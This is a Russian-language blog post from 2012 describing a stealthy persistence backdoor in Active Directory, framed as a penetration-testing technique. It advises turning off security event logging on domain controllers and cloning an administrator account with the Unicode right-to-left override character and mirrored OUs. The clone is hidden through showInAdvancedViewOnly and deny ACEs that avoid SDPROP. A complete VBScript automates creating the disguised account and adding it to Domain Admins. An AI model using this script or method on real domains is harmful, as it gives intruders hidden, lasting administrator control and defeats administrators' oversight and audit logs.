Страницы

понедельник, 9 января 2012 г.

Backdoor в Active Directory следующего поколения

В начале прошлого года мною уже поднималась тема пост-эксплуатации в домене Microsoft Active Directory. В предложенном ранее подходе рассматривался вариант ориентированный больше на случай утери административных привилегий, нежели их непосредственное использование. При этом само действо по возврату этих привилегий подразумевало "шумные" события и визуально палевные манипуляции в каталоге. Другими словами, для того, чтобы вернуть себе административные привилегии в домене, требовалось стать участником соответствующей группы безопасности, например, группы "Domain Admins".

Надо сказать, что администраторы очень волнуются, когда неожиданно осознают присутствие в своей системе кого-то еще. Некоторые из них бросаются всеми силами обрабатывать инцидент безопасности. Порой, самыми непредсказуемыми действиями ;))


Теперь представьте, как себя может повести администратор Active Directory в крупной компании, при виде незнакомого идентификатора в группе безопасности "Enterprise Admins"? В случае если кто-то залился не понарошку, тогда озабоченность администратора полностью оправдана. Но в случае недостаточного противодействия при проведении пентеста, шибко волноваться явно не стоит (ровно, как лишать парней точек входа и добытых потом и кровью привилегий).

Я долго размышлял над тем, как, не пугая администраторов, свободно пользоваться достигнутыми привилегиями в ходе проведения тестирования на проникновение (особенно на фоне агрессивного противодействия со стороны администраторов на последних работах). С одной стороны, при проведении пентеста мы сильно ограничены в возможностях. Например, правило по минимизации воздействия на объект исследования – это как само собой разумеющееся. Поэтому наплодить и раскидать бэкдоров по захваченной сети мы попросту не можем. С другой стороны, есть совершенно понятные цели, к которым требуется прийти до того момента, как радостный администратор заметит несанкционированную активность и выдернет шнур из розетки.

Так как же можно оставаться незамеченным в сетях Microsoft?

Первое, что приходит в голову - использовать учетную запись администратора. Доступ легитимный, поэтому он не должен привлекать к себе особое внимание. Но, как показывает практика, не всегда удается получить пароль администратора в открытом виде. В этих случаях на помощь спешит атака, известная под названием Pass-the-Hash. Было бы почти все замечательно (почти, потому как Pass-the-Hash сужает возможности по развитию атаки, например, нельзя воспользоваться протоколом удаленного управления RDP), но в серьезных компаниях администраторы потихоньку переходят на смарт-карты, что не позволяет использовать атаки, основанные на недостатках протокола NTLM. Хорошо, но есть же еще возможность использования токена авторизованного пользователя (eq incognito) и/или билета Kerberos (eq WCE). Так-то оно конечно так, но на практике Kerberos не керберос и токен не токен:( Доступный инструментарий по проведению данных видов атак, к сожалению, откровенно лажает. Кроме того, в обоих случаях, ровно как с атакой Pass-the-Hash, действия атакующего весьма ограничены используемыми протоколами, поддерживающими SSO в домене.

Таким образом, самый привлекательный путь - это использование привилегий, если уж не существующего, так созданного идентификатора администратора домена с известным паролем...

Как при этом не нарваться на бдительный глаз администратора домена?

Во-первых, внесение изменений в каталог Active Directory порождает соответствующие события, о которых администратору лучше не знать. Поэтому перед заливкой в домен (разумеется, только при проведении тестирования на проникновение и после согласования сего действа с ответственным лицом на стороне заказчика) рекомендуется отключить ведение событий безопасности на контролерах домена посредством соответствующего GPO. Напомню, что по умолчанию время фонового обновления групповых политик для контроллеров домена составляет 15 минут.

Во-вторых, никто не мешает создать визуально идентичную учетную запись, аналогичную существующему администратору домена. Для этого, например, могут использоваться символы юникода (!). Далее, созданному пользователю выставляется атрибут "showInAdvancedViewOnly" в значение "TRUE", что позволит скрыть объект в стандартном режиме просмотра оснастки "Управления пользователями и компьютерами" (dsa.msc). После чего, осталось поместить этого пользователя в одну из административных групп, свободную от реального администратора домена (прим., как правило, администраторы любят воткнуть свою учетную запись во все мыслимые и не мыслимые административные группы; например, оставим администратора в группе "Enterprise Admins", а клона поместим в группу "Domain Admins").

Но я думаю, что многие из читателей уже засомневалась в успехе компании. И они правы! Этот способ никуда не годится, т.к. в нем присутствуют два существенных недостатка:
1. Созданный идентификатор пользователя виден в каталоге "вооруженным глазом".
2. При поиске пользователей в домене, учетная запись администратора начинает двоиться.

Как можно решить эти проблемы?

Казалось бы, самое простое решение на поверхности – правильно настроить права доступа к создаваемому объекту (нашему пользователю). Для этого достаточно группе "Everyone" запретить читать публичную информацию у объекта. И в организационной единице, рядом с реальным администратором Active Directory повиснет "нечто", что как минимум перестанет светиться при поиске пользователей в домене. Однако сказка продлится не более, чем 60 минут:( Дело в том, что по умолчанию каждые 60 минут на контроллере домена, выполняющего роль эмулятора PDC, запускается процесс "SDPROP", который восстанавливает права доступа у ряда объектов Active Directory (в том числе, у всех членов групп администраторов) в соответствии с установленными правами доступа на объект "AdminSDHolder" (http://technet.microsoft.com/en-us/query/ee361593).

К сожалению, отключить указанный механизм безопасности штатными возможностями невозможно. Хак с правами доступа на объект может привести к проблемам с репликацией (а тут уже попахивает какой-то диверсией; при пентесте низя). Перезапись прав доступа на "AdminSDHolder" затронет множество объектов, включая идентификаторы всех администраторов домена. Таким образом, одним из возможных полезных решений, может быть регулярный запуск сценария, который будет исправлять погрешности процесса "SDPROP", но есть и более перспективная альтернатива.

Процесс "SDPROP" восстанавливает права доступа (ACE) только на конкретные привилегированные объекты, при этом права доступа для организационных единиц, в которых содержатся подобные объекты, остаются неизменными. Этим-то как раз и можно воспользоваться! Нам ведь никто не мешает, используя символы юникода, создать аналогичную последовательность организационных единиц, аналогично той последовательности, в которой содержится клонируемый идентификатор. При этом, "правильные" права доступа на вышестоящий контейнер позволят его визуально скрыть от посторонних глаз (разумеется в пределах разумного).



Смысл подобного подхода заключается в том, что у администратора Active Directory не должны появиться нездоровые подозрения на тему того, что доверенная ему система была скомпрометирована. Он по-прежнему остается действующим администратором, разве что членом одной из привилегированных групп является визуально идентичная учетная запись...

И последнее. Для того чтобы созданный клон не дублировался в поиске по каталогу можно воспользоваться, например, символом "202E" (респект Александру Зайцеву за напоминалку). Указанный символ переворачивает строку, расположенную за ним. Таким образом, если мы, к примеру, создаем клон для идентификатора "dmitry.ivanov", создаваемый идентификатор будет иметь вид "202E"+"vonavi.yrtimd". Возможно, такой подход не так удобен для прохождения аутентификации, но от попадания в поиск по каталогу спасает.


С точки зрения журналов безопасности, рассматриваемый подход также позволяет оставаться незамеченным до определенного момента.


Ниже представлен сценарий, который автоматизирует все выше сказанное. Настраиваемые параметры:

strAdminsamAccountName – идентификатор, который требуется с клонировать
strAdminsGroup – привилегированная группа, в которую следует поместить клона
strPassNewUser – задаваемый пароль новому пользователю


On Error Resume Next

strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P@ssw0rd"

' - - -

Dim arrContainer(), i

Set objRootDSE = GetObject("LDAP://RootDSE")
strDomain = objRootDSE.Get("DefaultNamingContext")
Set objDomain = GetObject("LDAP://" & strDomain)

strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")

If Not IsNull(strAdminsamAccountNameDN) Then

Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
Set objOU = GetObject(objAdmin.parent)

i=0
Call EnumOUs(objOU)

For j = i-1 To 0 Step -1

if strContainer="" Then
strContainer = "OU=" & arrContainer(j) & strContainer
primaryContainer = strContainer
Else
strContainer = "OU=" & arrContainer(j) & "," & strContainer
End if
Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
objOUcreate.SetInfo
Next

Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)

Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.SetPassword strPassNewUser
objUserCreate.Put "userAccountControl", 66048
objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
objUserCreate.SetInfo
On Error Resume Next

NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName

strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")

If Not IsNull(strAdminsGroupDN) Then
Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, "member", Array(NewUserDN)
objGroup.SetInfo
End If

OUAddAce(primaryContainer & "," & strDomain)

End If

Function SearchDN(str)
Set objConnection = CreateObject("ADODB.Connection")

objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"

Set objCommand = CreateObject("ADODB.Command")
Set objCommand.ActiveConnection = objConnection
objCommand.Properties("Searchscope") = 2

objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" & strDomain & str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields("distinguishedName").Value
End if
End Function

Sub EnumOUs(objChild)
Dim objParent

Set objParent = GetObject(objChild.Parent)
If (objParent.Class = "organizationalUnit") Then
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou
i=i+1
Call EnumOUs(objParent)
Else
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou & ChrW(128)
i=i+1
End If
End Sub

Function OUAddAce(OU)

Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject ("LDAP://" & OU)

Set objSdUtil = GetObject(objOU.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = "Everyone"
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
objOU.SetInfo

End Function

Комментариев нет:

Отправить комментарий